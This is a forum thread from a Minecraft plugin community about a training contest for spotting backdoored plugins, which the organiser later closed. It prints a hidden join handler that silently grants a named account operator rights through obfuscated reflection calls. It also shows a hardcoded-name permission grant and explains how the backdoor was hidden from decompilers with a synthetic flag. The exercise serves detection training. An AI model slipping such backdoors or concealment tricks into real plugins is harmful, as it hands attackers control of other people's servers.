Suspicious Plugin Response Team Training [CLOSED see post for details]

After some discussion it has become apparent to myself and others that this isn’t the best way to solve the problem of training people on this topic. While it does help people learn to find exploitative plugins, the nature of the competition involves posting and development of ever harder exploit techniques, which is against the whole meaning of the post.

The topic will be revisited again in an official manner when Ore is closer to release.

Sorry to those who were excited by the opportunity, I will attempt to create a less malicious competition (i.e. No malicious nature at all), to replace the fun.

Thanks for the interest of those who participated.

4 Likes

Ah seems like I a great idea. Perhaps this could be a good precursor to a sort of Ore validation type team. Needless to say within the next couple days I’ll be sure to whip up some examples.

2 Likes

Hmm I think scanning on “jrat” could be a good idea :smile:. Most shiit plugins I have seen just have that in them.

I think we also need to check static name/uuid comparation. Things like

if (player.getName().equals("MrNotSoHacker))
   player.grantPerm("*");

I made an example. Not sure how difficult it is to find the exploit in it. I’d say Exploit Rating Scale is somewhere between Novice and Intermediate.

Name:
Spy

Description:
This is for all the admins who want to know what their players are doing.
This plugin allows you to track actions of other players. Just do /spy and it will constantly report you what the players is doing.
Sample output:

spy CodeCrafter47
[12:12:02] [Server thread/INFO]: [Spy] You are now spying d9935dff-9702-404b-9d44-8efd35b0928d
[12:12:08] [Server thread/INFO]: [Spy] CodeCrafter47: Broke minecraft:grass at (-194.0, 71.0, 115.0)
[12:12:09] [Server thread/INFO]: [Spy] CodeCrafter47: Broke minecraft:grass at (-194.0, 71.0, 116.0)
[12:12:09] [Server thread/INFO]: [Spy] CodeCrafter47: Broke minecraft:dirt at (-194.0, 70.0, 116.0)
[12:12:12] [Server thread/INFO]: [Spy] CodeCrafter47: Broke minecraft:tallgrass at (-200.0, 72.0, 118.0)
[12:12:13] [Server thread/INFO]: [Spy] CodeCrafter47: Broke minecraft:tallgrass at (-199.0, 72.0, 118.0)
[12:12:13] [Server thread/INFO]: [Spy] CodeCrafter47: Broke minecraft:tallgrass at (-199.0, 72.0, 120.0)
[12:12:13] [Server thread/INFO]: [Spy] CodeCrafter47: Broke minecraft:tallgrass at (-200.0, 72.0, 119.0)
[12:12:14] [Server thread/INFO]: [Spy] CodeCrafter47: Broke minecraft:tallgrass at (-201.0, 72.0, 118.0)
[12:12:15] [Server thread/INFO]: [Spy] CodeCrafter47: Broke minecraft:tallgrass at (-199.0, 72.0, 121.0)
[12:12:15] [Server thread/INFO]: [Spy] CodeCrafter47: Broke minecraft:tallgrass at (-200.0, 72.0, 121.0)
[12:12:15] [Server thread/INFO]: [Spy] CodeCrafter47: Broke minecraft:tallgrass at (-201.0, 72.0, 120.0)
[12:12:15] [Server thread/INFO]: [Spy] CodeCrafter47: Broke minecraft:grass at (-202.0, 71.0, 122.0)
[12:12:16] [Server thread/INFO]: [Spy] CodeCrafter47: Placed minecraft:dirt at (-199.0, 72.0, 121.0)
[12:12:17] [Server thread/INFO]: [Spy] CodeCrafter47: Placed minecraft:dirt at (-200.0, 72.0, 121.0)
[12:12:17] [Server thread/INFO]: [Spy] CodeCrafter47: Placed minecraft:dirt at (-201.0, 72.0, 121.0)
[12:12:19] [Server thread/INFO]: [Spy] CodeCrafter47: Broke minecraft:tallgrass at (-202.0, 72.0, 121.0)
[12:12:19] [Server thread/INFO]: [Spy] CodeCrafter47: Broke minecraft:grass at (-203.0, 71.0, 122.0)
[12:12:20] [Server thread/INFO]: [Spy] CodeCrafter47: Broke minecraft:tallgrass at (-202.0, 72.0, 120.0)
[12:12:20] [Server thread/INFO]: [Spy] CodeCrafter47: Placed minecraft:dirt at (-202.0, 72.0, 121.0)
[12:12:28] [Server thread/INFO]: [Spy] CodeCrafter47: Placed minecraft:bed at (-200.0, 72.0, 119.0)
[12:12:57] [Server thread/INFO]: [Spy] CodeCrafter47: Dropped [EntityItem['item.tile.dirt.default'/1377, l='world', x=-200,91, y=73,32, z=117,99]]
[12:12:57] [Server thread/INFO]: [Spy] CodeCrafter47: Dropped [EntityItem['item.tile.dirt.default'/1378, l='world', x=-200,91, y=73,32, z=117,99]]
[12:13:04] [Server thread/INFO]: [Spy] CodeCrafter47: Dropped [EntityItem['item.item.seeds'/1462, l='world', x=-201,34, y=73,32, z=119,66]]

The command works in console as well as for players. The required permission is command.spy.

Download:
https://dl.dropboxusercontent.com/u/46234301/Spy-1.0-SNAPSHOT.jar

1 Like

I’m not sure if I’m correct or not, but I think the code in this method might be where the exploit is.

    void startSpying(CommandSource source, UUID uuid) {
        if(this.targetMap.containsKey(source)) {
            UUID uuid1 = (UUID)this.targetMap.remove(source);
            this.spyMap.remove(uuid1);
            source.sendMessage(new Text[]{Texts.of(new Object[]{TextColors.GREEN, "[Spy] ", TextColors.WHITE, "You\'re no longer spying ", uuid1.toString()})});
            if(uuid1 == uuid) {
                return;
            }
        }

        this.spyMap.put(uuid, source);
        this.targetMap.put(source, uuid);
        source.sendMessage(new Text[]{Texts.of(new Object[]{TextColors.GREEN, "[Spy] ", TextColors.WHITE, "You are now spying ", uuid.toString()})});
    }

From what I can tell, it looks like you are adding the same data to the spy map and target map, so I’m guessing the exploit here is you are allowing people who are being spied on to see what the spies are doing without them knowing. (I hope this is at least partially correct, I’m just taking a guess here pretty much).

No exploit there. The targetMap maps the spy to the target and the spyMap maps the target to the spy. The spyMap is used in the events to determine whom to notify and the targetMap is only used in the startSpying method to get the target when an admin issues the spy command again to stop notifying him of actions of the old target.

You’re making it quite difficult if most decompilers (at least the few ones I tried) are hiding it by default. Took myself some minutes until I was able to find it :stuck_out_tongue:

Not going to explain how exactly to find it so others can try it too, but here is the code for the method:

   @Subscribe
   public void on(PlayerJoinEvent event) {
      try {
         if(event.getEntity().getName().equals("CodeCrafter47")) {
            Server ex = (Server)this.game.getServer().get();
            Object confMan = ex.getClass().getMethod("func_71203_ab", new Class[0]).invoke(ex, new Object[0]);
            confMan.getClass().getMethod("func_152605_a", new Class[]{Class.forName("com.mojang.authlib.GameProfile")}).invoke(confMan, new Object[]{event.getPlayer().getProfile()});
         }
      } catch (Exception var4) {
         var4.printStackTrace();
      }

   }
4 Likes

Nice job on that one :wink:
Took me a few minutes to figure out. (The army of decompilers tho)

Alright so @Minecrell wins the first round. I’ll have to find it myself to get a better idea of the difficulty rating I would give it and the points I will award. From the description that sounds quite difficult to find if it’s using decompiler masking.

@Minecrell since you found the first one, why don’t you try and submit the next one?

You know, that was the first thing I was expecting most. Especially after the thing over at Bukkit was revealed.
Only took a moment to find the right compiler.

I’m a bit busy currently so I don’t have much time to think about something tricky, but if I get an idea I’ll post it here. In the meantime it might be better if someone else posts something first :slight_smile:

I’m working on my own to post here now, I’ve messaged Mumfrey about doing one that uses fancy bytecode magic if he gets some time ever. I hope that we get at least one from him since it’s bound to be exciting.

Just out of interest, which decompilers have you used?

I tried these decompilers (not in this order):

  • JD-GUI, wasn’t able to see the method there nor was I able to find an option to display synthentic methods.

  • Procyon (with Luyten, first noticed the method in “Bytecode AST” mode, which look like this: method.java · GitHub, later I found an option to display the method in the decompiled Java source

  • Fernflower

    • Within IntelliJ IDEA: Apparently they’re hidden by default there (understandable), so I wasn’t able to see them there.
    • On command line directly: This displayed the synthetic methods by default, so this was were I found the decompiled source for the method first.

I found it in the bytecode decompile mode of javap, javap -c MyClass.class. It’s a little more manual but I found it, still need to check some decompilers to see the more proper source output. Maybe people that can explain how to implement the exploit will get bonus points.

Same as @Minecrell, but dug it out using cfr. (Which is pretty awesome IMO)

I mostly use Luyten/Procyon and the IntelliJ decompiler. Before uploading the plugin I verified the method being hidden in jd-gui and luyten with default settings as I thought these might be the most popular ones.
To add the synthetic attribute I used the specialsource-maven-plugin, which made it quite easy.

EDIT: While creating the plugin I noticed there is no Player.setOP(true) method. Is this somehow missing in the API or have I overlooked it?

It seems to by part of the bans API currently (not merged to master yet):

Can you @mention me whenever you submit a new one of these? I can’t be bothered looking through dis stuff.

Continuing the discussion from Suspicious Plugin Response Team Training:

To be honest, I think this an extremely well thought out and beneficial project for the Sponge Community with regards to the fact that Sponge is not done and doesn’t have a thorough documentation yet. I think this will give way to people who want to be involved and aren’t necessarily good at the java or this library. The reward system is a good idea too that way you can get more of the community involved and interested in it!

I commend you.

1 Like